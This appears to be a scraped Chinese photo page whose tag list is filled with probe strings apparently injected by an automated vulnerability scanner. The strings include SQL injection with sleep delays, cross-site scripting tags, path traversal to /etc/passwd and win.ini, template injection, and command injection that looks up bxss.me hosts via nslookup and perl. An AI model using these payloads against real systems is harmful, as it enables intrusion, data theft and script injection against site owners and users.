×
照片标签：
- 1
- 1CmPc8yQ5xO
- 402crc38
- response.write(9213787*9495572)
- 1<esi:include src="http://bxss.me/rpb.png"/>
- '+response.write(9213787*9495572)+'
- ${9999939+10000476}
- "+response.write(9213787*9495572)+"
- ../../../../../../../../../../../../../../etc/passwd
- 12345'"\'\")
- 1&n944074=v990919
- ../../../../../../../../../../../../../../windows/win.ini
- )
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- '"()
- '.gethostbyname(lc('hitve'.'zgwwwsmo39956.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(75).chr(110).chr(67).'
- ../1
- 1some_inexistent_file_with_long_name .jpg
- !(()&&!|*|*|
- echo rjtqtm$()\ lpjfxo\nz^xyu||a #' &echo rjtqtm$()\ lpjfxo\nz^xyu||a #|" &echo rjtqtm$()\ lpjfxo\nz^xyu||a #
- ".gethostbyname(lc("hithz"."wyyozjvcf8321.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(73).chr(103).chr(70)."
- Http://bxss.me/t/fit.txt
- &echo qrmxlo$()\ alfyoa\nz^xyu||a #' &echo qrmxlo$()\ alfyoa\nz^xyu||a #|" &echo qrmxlo$()\ alfyoa\nz^xyu||a #
- "+"A".concat(70-3).concat(22*4).concat(118).concat(76).concat(116).concat(86)+(require"socket" Socket.gethostbyname("hitly"+"qnktdcst69b43.bxss.me.")[3].to_s)+"
- HttP://bxss.me/t/xss.html?%00
- http://bxss.me/t/fit.txt?.jpg
- |echo bkejxz$()\ qynvhm\nz^xyu||a #' |echo bkejxz$()\ qynvhm\nz^xyu||a #|" |echo bkejxz$()\ qynvhm\nz^xyu||a #
- '+'A'.concat(70-3).concat(22*4).concat(113).concat(88).concat(112).concat(70)+(require'socket' Socket.gethostbyname('hittt'+'ugcnnmfa01877.bxss.me.')[3].to_s)+'
- bxss.me/t/xss.html?%00
- (nslookup hitbsyzpkkefcd06be.bxss.me||perl -e "gethostbyname('hitbsyzpkkefcd06be.bxss.me')")
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bxss.me
- /xfs.bxss.me
- $(nslookup hitycguifkaez8d91e.bxss.me||perl -e "gethostbyname('hitycguifkaez8d91e.bxss.me')")
- '"
- bibs
- &(nslookup hitydkgitvajcb3fcd.bxss.me||perl -e "gethostbyname('hitydkgitvajcb3fcd.bxss.me')")&'\"`0&(nslookup hitydkgitvajcb3fcd.bxss.me||perl -e "gethostbyname('hitydkgitvajcb3fcd.bxss.me')")&`'
- '
- <!--
- |(nslookup hittqvuwkebco5370d.bxss.me||perl -e "gethostbyname('hittqvuwkebco5370d.bxss.me')")
- "
- bibs/.
- `(nslookup hitccdmrvquoye7e5a.bxss.me||perl -e "gethostbyname('hitccdmrvquoye7e5a.bxss.me')")`
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- 1'"()&%<acx><ScRiPt >xtyQ(9276)</ScRiPt>
- '.print(md5(31337)).'
- '"()&%<acx><ScRiPt >xtyQ(9293)</ScRiPt>
- 19646709
- acu2996＜s1﹥s2ʺs3ʹuca2996
- acux6124z1z2abcxuca6124
- <%={{={@{#{${acx}}%>
- XmPbBSqC
- -1 OR 2+86-86-1=0+0+0+1 --
- -1 OR 2+797-797-1=0+0+0+1
- -1' OR 2+887-887-1=0+0+0+1 --
- -1' OR 2+842-842-1=0+0+0+1 or '8Vq8Z9zW'='
- <th:t="${acx}#foreach
- -1" OR 2+117-117-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- acx{{98991*97996}}xca
- 1 waitfor delay '0:0:15' --
- 7tuSX6un'
- acx[[${98991*97996}]]xca
- -5 OR 574=(SELECT 574 FROM PG_SLEEP(15))--
- -5) OR 56=(SELECT 56 FROM PG_SLEEP(15))--
- acx__${98991*97996}__::.x
- -1)) OR 442=(SELECT 442 FROM PG_SLEEP(15))--
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- nhril2Ms' OR 645=(SELECT 645 FROM PG_SLEEP(15))--
- acu10058＜s1﹥s2ʺs3ʹuca10058
- Fmz0sejn') OR 367=(SELECT 367 FROM PG_SLEEP(15))--
- QSnBBfru')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--
- acux8345z1z2abcxuca8345
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@5cGhp
- acu4385＜s1﹥s2ʺs3ʹuca4385
- acux9769z1z2abcxuca9769
- 1"onmouseover=xtyQ(99472)"
- 1" GeX6=xtyQ([!+!]) 2YR="
- 1\u0022onmouseover=xtyQ(97203)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%78%74%79%51%28%39%34%31%30%34%29%22
- "onmouseover=xtyQ(91165)//
- 1"sTYLe='acu:Expre/**/SSion(xtyQ(9987))'bad="
- 1"><script>xtyQ(9901)</script>
- 1<ScRiPt >xtyQ(9324)</ScRiPt>
- 1<WPWGVV>ZOYU1[!+!]</WPWGVV>
- 1<script>xtyQ(9619)</script>
- 1<ScR<ScRiPt>IpT>xtyQ(9856)</sCr<ScRiPt>IpT>
- 1<ScRiPt >xtyQ(9925)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9898></ScRiPt>
- 1< ScRiPt >xtyQ(9360)</ScRiPt>
- 1<svg onload=xtyQ(9895)
- 1<isindex type=image src=1 onerror=xtyQ(9948)>
- 1<iframe src='data:text/html
- 1<body onload=xtyQ(9129)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=xtyQ(9680)>
- 1<img src=xyz OnErRor=xtyQ(9814)>
- 1<img/src=">" onerror=alert(9622)>
- %31%3C%53%63%52%69%50%74%20%3E%78%74%79%51%289527%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\xtyQ(9660)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=xtyQ(95771) //>
- 1<input autofocus onfocus=xtyQ(9464)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(xtyQ(9515))}
- 1<% contenteditable onresize=xtyQ(9553)>
- 1vuetv <ScRiPt >xtyQ(9243)</ScRiPt>
- 1<WVY6GD>XUVSO[!+!]</WVY6GD>
- 1<ifRAme sRc=9368.com></IfRamE>
- 1<dXfj9K x=9630>
- 1<img sRc='http://attacker-9264/log.php?
- 1<yhC48E<
微信扫一扫, 保存到手机
